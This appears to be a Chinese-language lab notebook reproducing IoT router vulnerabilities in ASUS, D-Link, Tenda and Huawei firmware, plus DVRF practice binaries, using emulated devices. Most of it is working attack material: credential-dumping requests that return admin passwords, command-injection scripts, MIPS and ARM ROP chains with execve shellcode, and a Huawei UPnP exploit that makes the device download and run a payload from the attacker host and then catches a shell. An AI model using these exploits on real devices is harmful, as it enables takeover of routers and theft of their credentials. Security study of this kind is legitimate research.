IoT漏洞复现记录

漏洞基本信息
- 漏洞编号：
- 漏洞类型： 
- 漏洞利用效果
- 漏洞披露时间：
- 漏洞描述： 
- 设备型号：
- 设备架构：
- 复现进度：
  -  漏洞复现
  -  静态分析
  -  动态调试
- 受影响的漏洞组件 ：
  - 文件名：
  - 功能：
  - 技术栈：（脚本语言）
- 定位漏洞组件的方法和工具：
  - 污点分析
  - 静态分析工具 
  - 动态调试工具 

$ wget https://dlcdnets.asus.com/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_30043848253.zip

$ unzip FW_RT_AX56U_30043848253.zip

$ cd Firmware_Release

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release ls
RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w
###

$ binwalk -Me RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w  

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted ls
100000.ubi  ubifs-root
###

$ ubireader_extract_files 100000.ubi

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted ls ubifs-root/1589911850/rootfs_ubifs 
bin    cifs2  debug  etc   jffs  mmc  opt   rom   sbin  sysroot  usr  www
cifs1  data   dev    home  lib   mnt  proc  root  sys   tmp      var
###

###
➜  /home/iot/vul/ASUS/CVE-2021-32030/Firmware_Release/_RT-AX56U_3.0.0.4_384_8253-ga83822c_cferom_pureubi.w.extracted/ubifs-root/1589911850/rootfs_ubifs/usr/sbin ls |grep http      
httpd
httpds
lighttpd
lighttpd-arpping
lighttpd-monitor
###

$ file httpd
###
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 4.1.0, stripped
###

$ checksec httpd
###
[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
###

GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0

HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close

{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}

if ( *a1 && *nvram_safe_get_0("ifttt_token") && (v2 = nvram_safe_get_0("ifttt_token"), !strcmp(a1, v2)) )
{
    if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
        Debug2File(
        "/tmp/IFTTT_ALEXA.log",
        "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n",
        "check_ifttt_token",
        1020);
    result = 1;
}

$ wget wget https://dlcdnets.asus.com/pub/ASUS/wireless/DSL-AC88U/FW_DSL_AC88U_11005502.zip                  

$ unzip FW_DSL_AC88U_11005502.zip  

$ binwalk -Me DSL-AC88U_v1.10.05_build502.w  

$ cd _DSL-AC88U_v1.10.05_build502.w.extracted

$ ubireader_extract_files 2C0000.ubi 

$ ls ./ubifs-root/0/rootfs_ubifs 
###
bin  bootfs  data  dev  etc  lib  mnt  opt  proc  ramdisk  rom  sbin  sys  tmp  usr  var  www
###

$ file httpd   
###
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
###

$ checksec httpd
###
[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8000)
    RWX:      Has RWX segments
###

# 安装sasquatch
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ cd sasquatch && ./build.sh

# binwalk：
$ sudo apt-get install build-essential autoconf 
$ git python-lzma python-crypto libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
$sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
$ sudo pip install pyqtgraph capstone

# 解决 No module named pkg_resources 的问题
$ sudo apt-get install --reinstall python-pkg-resources

$ wget http://files.dlink.com.au/products/DIR-600/REV_B1/Firmware/Firmware_v2.05/DIR600B_FW205b01.bin

# $ wget https://github.com/d4rk30/CVE-2017-12943/blob/master/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin

$ sudo binwalk -Me DIR600B_FW205b01.bin
# $ sudo binwalk -Me FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin

$ ls ./etc/templates/httpd/

# 在_DIR600B_FW205b01.bin.extracted/squashfs-root/www/model 可以看到_show_info.php文件
$ cd /home/iot/vul/D-Link/CVE-2017-12943/_DIR600B_FW205b01.bin.extracted/squashfs-root/www/model
$ code _show_info.php

$ cd /home/iot/vul/D-Link/CVE-2017-12943/_DIR600B_FW205b01.bin.extracted/squashfs-root/etc/templates/httpd

$ code httpasswd.php

# paylaod:
localhost/model/__show_info.php?REQUIRE_FILE=%2Fetc%2Ftemplates%2Fhttpd%2Fhttpasswd.php

# firmware-analysis-toolkit
$ ./fat.py /home/iot/vul/D-Link/CVE-2017-12943/DIR600B_FW205b01.bin

# firmAE
$ sudo ./run.sh -r dir600 /home/iot/vul/D-Link/CVE-2017-12943/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin

# localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

import requests
url = "http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=./etc/templates/httpd/httpasswd.php"
r = requests.get(url)
print (r.text)
print (r.json)

$ wget https://ftp.dlink.ru/pub/Router/DIR-320/Firmware/old/DIR-320A1_FW121WWb03.bin

# 提取固件
binwalk -Me DIR-320A1_FW121WWb03.bin

# 仿真
$ sudo ./init.sh
###
[sudo] password for ubuntu:
+ sudo service postgresql restart
+ echo 'Waiting for DB to start...'
Waiting for DB to start...
+ sleep 5
###

$ sudo ./run.sh -r dir320 /home/iot/vul/D-Link/CVE-2017-12943/DIR-320A1_FW121WWb03.bin

# payload:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

# 直接转到：
http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

$ sudo ./run.sh -r dir645 /home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin

$ sudo ./run.sh -r dir645 ./home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin
 /home/iot/vul/D-Link/CVE-2017-12943/DIR645A1_FW102B08.bin emulation start!!!
 extract done!!!
 get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)

# payload:
# http://192.168.0.1/getcfg.php
# post:SERVICES=DEVICE.ACCOUNT

$ curl -d "SERVICES=DEVICE.ACCOUNT" "http://192.168.0.1/getcfg.php"

import requests
url = "http://192.168.0.1/getcfg.php"
#payload = "SERVICES=DEVICE.ACCOUNT"
payload = {"SERVICES": "DEVICE.ACCOUNT"}
data = payload
#data = data.encode("utf-8")
r = requests.post(url, data)
print (r)
print (r.text)

➜  /home/iot  python3 exp.py 192.168.0.1
<Response [200]>
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>DEVICE.ACCOUNT</service>
    <device>
        <gw_name>DIR-645</gw_name>

        <account>
            <seqno>2</seqno>
            <max>2</max>
            <count>2</count>
            <entry>
                <uid>USR-</uid>
                <name>admin</name>
                <usrid></usrid>
                <password>adminhello</password>
                <group>0</group>
                <description></description>
            </entry>
            <entry>
                <uid>USR-1</uid>
                <name>user</name>
                <usrid></usrid>
                <password>userhello</password>
                <group>101</group>
                <description></description>
            </entry>
        </account>
        <group>
            <seqno></seqno>
            <max></max>
            <count>0</count>
        </group>
        <session>
            <captcha>0</captcha>
            <dummy></dummy>
            <timeout>600</timeout>
            <maxsession>128</maxsession>
            <maxauthorized>16</maxauthorized>
        </session>
    </device>
</module>
</postxml>

$ wget https://ftp.dlink.ru/pub/Router/DIR-815/Firmware/RevA/Old/DIR815A1_FW101b09.bin

if ( !strncasecmp(v14, v18, v17) )
              return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(
                       a1,
                       a2,
                       v7,
                       &v14[v17]);

$ qemu-mipsel -g 9988 -L . \ 
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="test" \
    -E CONTENT_LENGTH="5" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    ./htdocs/cgibin

# 另开一个终端
$ gdb-multiarch ./htdocs/cgibin
# gdb输入命令：
target remote:9988

$ qemu-mipsel -g 9988 -L . \ 
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="aaa?bbb=ccc" \
    -E CONTENT_LENGTH="5" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    ./htdocs/cgibin

from pwn import *
context(os = 'linux', arch = 'mips')
 
string = "winmt"
length = len(string)
 
print("----- CNVD-2018-01084 -----\n")
cmd = input("command > ")
 
io = process(f'''
    qemu-mipsel -L . -strace \
    -0 "service.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH={length} \
    -E REQUEST_URI="?EVENT=;{cmd};" \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE="uid=winmt" \
    -E REMOTE_ADDR="127.0.0.1" \
    ./htdocs/cgibin
''', shell = True)
 
io.send(string)
io.interactive()

$ binwalk -Me DVRF_v03.bin

$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ echo "test" > content
$ sudo chroot . ./qemu-mipsel-static -L ./ -g 9988 ./pwnable/Intro/stack_bof_01 "`cat content`"
# 注意要在cat content的外面加上“”

# 另开一个终端
$ gdb-multiarch ./pwnable/Intro/stack_bof_01
# gdb爱输入命令：
set arch mips 
set endian big/little 
target remote remote:9988

# 连上之后会停在 start ，在 main 函数开头打断点，运行到这个断点，然后就可以慢慢单步调试

from pwn import *

context.arch = "mips"
context.endian = "little"

backdoor = 0x0040095c 

payload = b'a'*0xc8+b'b'*0x4
payload += p32(backdoor)


with open("stack_bof_01_payload","w") as file:
 file.write(payload.decode())

$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

backdoor = 0x0040095c 

payload = b'a'*0xc8 + b'b'*0x4
payload += p32(backdoor)
with open("stack_bof_01_payload","w") as file:
 file.write(payload.decode())

sh = process(b"sudo chroot . ./qemu-mipsel-static  ./pwnable/Intro/stack_bof_01  \"`cat stack_bof_01_payload`\"".decode() ,shell=True)

sh.interactive()

.text:00006B20                 lw      $t9, arg_0($sp)
.text:00006B24                 jalr    $t9

#!/usr/bin/python
padding = b"a" * offset
gadget = 
backdoor = 
payload = padding + gadget + backdoor
with open("input", "wb") as f:
    f.write(payload)

$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ echo "test" > content
$ sudo chroot . ./qemu-mipsel-static -L ./ -g 9988 ./pwnable/ShellCode_Required/stack_bof_02 "`cat content`"
# 注意要在cat content的外面加上“”

# 另开一个终端
$ gdb-multiarch ./pwnable/ShellCode_Required/stack_bof_02
# gdb爱输入命令：
set arch mips 
set endian big/little 
target remote:9988

# 连上之后会停在 start ，在 main 函数开头打断点，运行到这个断点，然后就可以慢慢单步调试

.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9, $s1
.text:0002FB18                 jalr    $t9 ; sub_2F818

.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra

.text:00020F1C                 move    $t9, $s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20
.text:00016DD4                 move    $t9, $s0
.text:00016DD8                 jalr    $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra

.text:000214A0                 move    $t9, $a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"

# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 <optarg>: move t9,s0
   0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f "  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e "  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode


with open("stack_bof_02_payload","w") as file:
 file.write(payload)

$ apt-get install bridge-utils uml-utilities

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto ens33
iface ens33  inet manual
up ifconfig ens33  0.0.0.0 up
auto br0
iface br0 inet dhcp
 bridge_ports ens33
 bridge_maxwait 0 

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3

$ sudo /etc/init.d/networking restart
$ sudo ifdown ens33
$ sudo ifup br0

$ sudo chroot . ./qemu-arm-static -g 10000 ./bin/httpd

GET /goform/execCommand HTTP/1.1
Host: 192.168.245.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

GET /goform/execCommand HTTP/1.1
Host: 192.168.245.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: password="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaae.gifbbbbbbbbbbbbbbbbbbbbtesttest"
Cache-Control: max-age=0

import struct
import requests

ip = "192.168.211.7"
command = "/bin/sh\x00"

url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaae.gifbbbbbbbbbbbbbbbbbbbbtesttest"',
'Cache-Control': 'max-age=0'
}

libc = 0x3fde6000
pop_r3_pc = struct.pack("< I",0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc)# mov r0 sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()# 'byte'
password = b"A" * 444 + b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+password

try:
    response = requests.get(url,headers=headers,timeout=1)
except:
    pass

$ wget https://down.tenda.com.cn/uploadfile/AC18/ac18_kf_V15.03.05.19(6318_)_cn.zip
$ binwalk -Me ac18_kf_V15.03.05.19(6318_)_cn.zip
$ sudo docker run -it -v ./squashfs-root/:/home/satc/SaTC/SaTC_data smile0304/satc

# 进入SaTC容器中
# 检查/home/satc/SaTC/SaTC_data文件夹中是否有数据
$ ls /home/satc/SaTC/SaTC_data
$ cd ~/SaTC
# 测试/bin/httpd是否存在命令注入漏洞
$ python satc.py -d /home/satc/SaTC/SaTC_data -o /home/satc/res --ghidra_script=ref2sink_cmdi -b httpd --taint_check
# 测试/bin/httpd是否存在缓冲区溢出漏洞
$ python satc.py -d /home/satc/SaTC/SaTC_data -o /home/satc/res --ghidra_script=ref2sink_bof -b httpd --taint_check

binary: /home/satc/SaTC/SaTC_data/bin/httpd
configfile: /home/satc/res/ghidra_extract_result/httpd/httpd_ref2sink_cmdi.result-alter2
0xef168 0xa1808   not found
```
0xf2208 0xa6890   found : 0xa68f8
```
0xefb24 0xa2994   not found
total cases: 110
find cases: 1
binary: /home/satc/SaTC/SaTC_data/bin/httpd
configfile: /home/satc/res/ghidra_extract_result/httpd/httpd_ref2sink_cmdi.result-alter2

HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";

if ($_POST["CACHE"] == "true")
{
	echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
	if($AUTHORIZED_GROUP < 0)
	{
		/* not a power user, return error message */
		echo "\t<result>FAILED</result>\n";
		echo "\t<message>Not authorized</message>\n";
	}
	else
	{
		/* cut_count() will return 0 when no or only one token. */
		$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
		TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
		$SERVICE_INDEX = 0;
		while ($SERVICE_INDEX < $SERVICE_COUNT)
		{
			$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
			TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
			if ($GETCFG_SVC!="")
			{
				$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
				/* GETCFG_SVC will be passed to the child process. */
				if (isfile($file)=="1") dophp("load", $file);
			}
			$SERVICE_INDEX++;
		}
	}
}
?></postxml>

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://某ip/getcfg.php"

### 安装sasquatch
$ sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
$ git clone https://github.com/devttys0/sasquatch.git
$ cd sasquatch && ./build.sh

$ binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
$ cd _HG532eV100R001C02B015_upgrade_main.bin.extracted/squashfs-root/bin/
$ checksec upnp

$ ./fat.py /path/to/firmware

$ sudo docker build -t firmianay/qemu-system:mips .          

#!/bin/bash

# 启动 ssh 服务
/etc/init.d/ssh start

# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24

# 启动 http 服务
nohup python3 -m http.server 8000 1>&/dev/null &

# 进入 qemu 镜像目录
cd /root/images

/usr/bin/expect<<EOF
set timeout 10000

spawn qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

expect "debian-mips login:"
send "root\r"
expect "Password:"
send "root\r"

expect "root@debian-mips:~# "
send "ifconfig eth0 192.168.2.2/24\r"

#expect "root@debian-mips:~# "
#send "echo 0 > /proc/sys/kernel/randomize_va_space\r"

expect "root@debian-mips:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-mips:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-mips:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"

expect "root@debian-mips:~# "
send "scp -r root@192.168.2.1:/root/tools /root/squashfs-root/tools\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-mips:~# "
send "echo 'sleep 30' > net.sh\r"
expect "root@debian-mips:~# "
send "echo 'ifconfig eth0 192.168.2.2/24' >> net.sh\r"
expect "root@debian-mips:~# "
send "echo 'ifconfig br0 192.168.2.3/24' >> net.sh\r"
expect "root@debian-mips:~# "
send "chmod +x net.sh && /bin/sh net.sh &\r"

expect "root@debian-mips:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "./bin/upnp\r"
expect "# "
send "./bin/mic\r"

expect eof
EOF

#!/usr/bin/python3

import requests
from requests.auth import HTTPDigestAuth
from pwn import *
from threading import Thread

cmd  = 'wget -g 192.168.2.1 -P 8000 -r /tools/msf -l /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf'

assert(len(cmd) < 255)

data = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"

def attack():
    try:
        requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=data)
    except Exception as e:
        print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()